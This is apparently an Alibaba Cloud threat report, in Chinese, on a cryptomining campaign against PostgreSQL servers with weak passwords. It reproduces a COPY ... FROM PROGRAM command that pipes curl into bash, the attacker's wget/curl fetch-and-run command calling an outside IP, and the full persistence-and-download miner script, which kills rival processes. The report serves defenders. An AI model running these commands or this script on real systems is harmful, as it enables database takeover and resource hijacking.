威胁快报| 首个PostgreSQL数据库批量挖矿实例分析

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云安全中心 免费版,不限时长
云安全态势管理CSPM免费试用,1000次1年
简介:

观点/摘要

随着数字货币行业的火热,挖矿已成为攻击者变现的首选方式。而数据库服务器作为算力的重要承载者,也早已成为此类攻击的首选目标。

阿里云安全团队跟踪发现,继Redis\OrientDB等数据库类软件之后,PostgreSQL已逐渐进入此类攻击的目标范畴。预计未来针对其他数据应用服务的此类攻击也会逐步兴起。建议数据库服务提供商和用户在默认安全策略、密码策略等方面需要提高水位,防范潜在的风险。


2018年8月10日晚19点左右,阿里云安全团队首次发现一起利用PostgreSQL PROGRAM特性进行批量挖矿牟利的攻击事件。该攻击者首先利用扫描收集弱密码机器,然后批量登录后使用未公开的 可致RCE的攻击手法部署挖矿软件。

 

本篇我们对整个PostgreSQL数据库批量挖矿实例作了详细的分析:

PostgreSQL数据库说明


PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择。

漏洞影响

整个互联网共有336,784对外开放端口的PostgreSQL主机,它已经是互联网数据库服务器的一部分,承载了大量的重要应用和数据。

随着数字货币经济的不断发展,大量的数据库服务和应用(如Redis\OrientDB等)都已经成为了挖矿、木马等僵尸网络的目标对象,而PostgreSQL也在这个攻击列表中。

使用弱密码,或者将服务暴露在公网的9.5以上版本的PostgreSQL 服务器都可能受到此类攻击威胁。一旦被攻击者入侵,机器的计算能力、承载的数据、运行的应用等都将会被入侵者所控制。

攻击事件说明

1.攻击者通过端口扫描批量发现开放了5432端口(PostgreSQL的默认端口)的机器。

2.通过标准弱密码进行爆破尝试,如Postgres/Postgres默认密码即可登录一部分机器

3.通过 PROGRAM 方法按照登录的账户权限执行任意指令。

(注:本漏洞为本地验证,出现ip地址均为本地ip地址)

 


COPY rce_test
  FROM PROGRAM 'curl http://172.16.72.1/1.sh | bash';


在本地实验中所使用的测试只是执行一个简单的 id指令进行测试。


43725faacfd68103532bc9312d9764836344cd37

最终结果如下:


dba010f1511827964a98a2179463a5d20399450f

指令成功执行。结合越权漏洞一起使用,本攻击方法能够达到执行任意指令的效果。

 

具体到本次事件中的攻击者,只是使用当前用户权限直接部署挖矿脚本


sh -c (wget -q -O- http://204.48.25.175/kworker.sh || curl -fsSL http://204.48.25.175/kworker.sh) | sh

 

 

下载运行的脚本如下所示:

 


#!/bin/sh
XURL="http://204.48.25.175/kw0rker"
XNAME="x"`ls /dev/disk/by-uuid/ | head -n 1 | cut -c 1-8`
XPATH="/tmp/"
XBIN=$XPATH$XNAME
 
download_file(){
    if ! `(wget --no-check-certificate -O $2 $1 || curl $1 -o $2)`; then
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
}
 
run_file(){
    chmod +x $1$2
    command cd $1 && ./$2
    rm -rf $1$2
}
 
keep_running(){
    xpid=`ps -aeo pid,command |grep $XNAME|grep -v grep | awk '{print $1}'`
    `ps -aeo pid,user,command | grep -v grep | grep -v $$ | grep -v $xpid | grep -E "postgres|python|stratum|nohup|/tmp/|sleep" | awk '{print index($3,"post")?"":$1;}' | xargs kill -9`
    `ps -aeo pid,%cpu | grep -v $$ | grep -v $xpid | grep -v grep | awk '{if($2>45){print $1}}' | xargs kill -9`
    p=`ps -aeo command | grep -v defunct | grep $XNAME | grep -v grep | wc -l`
                   if [ ${p} -eq 0 ];then
            sleep 3600
            download_file $XURL $XBIN
            run_file $XPATH $XNAME &
                   fi
}
while true
do
    keep_running
    sleep 5
done


该脚本的实际作用是下载真实的挖矿程序。


f2188eadf03f95fb22e1af6ae47fc26d45411883

攻击者使用门罗币地址:

 


41ixve3yz58LhFbEpVqnbXeeMe7xq6R5uU9jz54iHBqFTddAKfvpSGDUg6xDyoTHSg2uxZQG6FjiE3Em435cypdjLkFNCc8

 

共计获利19.718362120000个门罗比,现价(619元/币)折合人民币12000元左右。


17e117d596ab953899d9d7b1a7ee80e74ac806a8

查询该地址归属的算力地址自8月10日中午开始暴涨近4倍。由于该攻击者的攻击手法使用了PostgreSQL9.5之后的一个特性,而这一特性是首次在此类攻击中出现;同时,该攻击者的攻击流量仍然较小,我们相信此时此类攻击手法仍在早期阶段,后期会出现扩散和变异。

安全建议

● 建议加强PostgreSQL的密码策略,不要使用默认的密码或者安全性较弱的密码

● 通过安全组能力设置IP访问白名单,不让非相关的IP地址访问PostgreSQL数据库

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
4月前
|
存储 关系型数据库 数据库
【赵渝强老师】PostgreSQL的数据库
PostgreSQL的逻辑存储结构涵盖数据库集群、数据库、表、索引、视图等对象,每个对象有唯一的oid标识。数据库集群包含多个数据库,每个数据库又包含多个模式,模式内含表、函数等。通过特定SQL命令可查看和管理这些数据库对象。
|
3天前
|
关系型数据库 数据库 PostgreSQL
【赵渝强老师】PostgreSQL的模板数据库
在PostgreSQL中,创建新数据库时,默认通过拷贝`template1`实现。`template1`包含标准系统对象,可自定义以影响新数据库内容;而`template0`是纯净模板,仅含预定义对象且不应修改。视频讲解和代码示例展示了如何查看现有数据库信息及标识字段的作用。 ![图示](https://ucc.alicdn.com/pic/developer-ecology/yub6x2mlkqwck_398ed06397a44c2d9bfbb5ae5c90bbc0.png) [视频链接](https://www.bilibili.com/video/BV1szyfY4EQn)
【赵渝强老师】PostgreSQL的模板数据库
|
18天前
|
存储 数据挖掘 数据处理
2600 万表流计算分析如何做到? 时序数据库 TDengine 助力数百家超市智能化转型
在生鲜超市的高效运营中,实时数据分析至关重要。万象云鼎的“云鲜生”通过智能秤+网关+软件系统的组合,实现了销售数据的精准管理与优化。而在数据处理方面,TDengine 的流计算能力成为了这一方案的核心支撑。本文详细分享了“云鲜生”如何利用 TDengine 高效存储和分析海量销售数据,在优化超市运营、提升用户体验的同时,解决高基数分组、高并发查询等技术挑战。
28 1
|
1月前
|
存储 关系型数据库 数据库
华为数据库openGauss与PostgreSQL使用对比
华为openGauss数据库基于PostgreSQL内核演进,进行了多项增强。密码认证从MD5升级为SHA256;字符串存储中,char(n)、varchar(n)的n由字符改为字节,新增nvarchar2(n)表示字符,最大存储100MB;且将空字符''统一转换为null,提升了数据处理的一致性和安全性。
130 12
|
2月前
|
存储 关系型数据库 分布式数据库
PolarDB PostgreSQL版:商业数据库替换与企业上云首选
PolarDB PostgreSQL版是商业数据库替换与企业上云的首选。其技术架构实现存储计算分离,具备极致弹性和扩展性,支持Serverless、HTAP等特性。产品在弹性、性能、成本优化和多模处理方面有显著提升,如冷热数据自动分层、Ganos多模引擎等。已在汽车、交通、零售等行业成功应用,典型案例包括小鹏汽车、中远海科等,帮助企业大幅降低运维成本并提高业务效率。
61 13
|
2月前
|
关系型数据库 分布式数据库 数据库
瑶池数据库大讲堂|PolarDB HTAP:为在线业务插上实时分析的翅膀
瑶池数据库大讲堂介绍PolarDB HTAP,为在线业务提供实时分析能力。内容涵盖MySQL在线业务的分析需求与现有解决方案、PolarDB HTAP架构优化、针对分析型负载的优化(如向量化执行、多核并行处理)及近期性能改进和用户体验提升。通过这些优化,PolarDB HTAP实现了高效的数据处理和查询加速,帮助用户更好地应对复杂业务场景。
|
4月前
|
存储 关系型数据库 数据库
【赵渝强老师】PostgreSQL的数据库集群
PostgreSQL的逻辑存储结构涵盖了数据库集群、数据库、表、索引、视图等对象,每个对象都有唯一的oid标识。数据库集群是由单个PostgreSQL实例管理的所有数据库集合,共享同一配置和资源。集群的数据存储在一个称为数据目录的单一目录中,可通过-D选项或PGDATA环境变量指定。
|
4月前
|
关系型数据库 MySQL 数据库
【赵渝强老师】启动与关闭MySQL数据库实例
MySQL数据库安装完成后,可以通过命令脚本启动、查看状态、配置开机自启、查看自启列表及关闭数据库。本文提供了详细的操作步骤和示例代码,并附有视频讲解。
|
关系型数据库 分布式数据库 PolarDB
《阿里云产品手册2022-2023 版》——PolarDB for PostgreSQL
《阿里云产品手册2022-2023 版》——PolarDB for PostgreSQL
402 0
|
存储 缓存 关系型数据库

热门文章

最新文章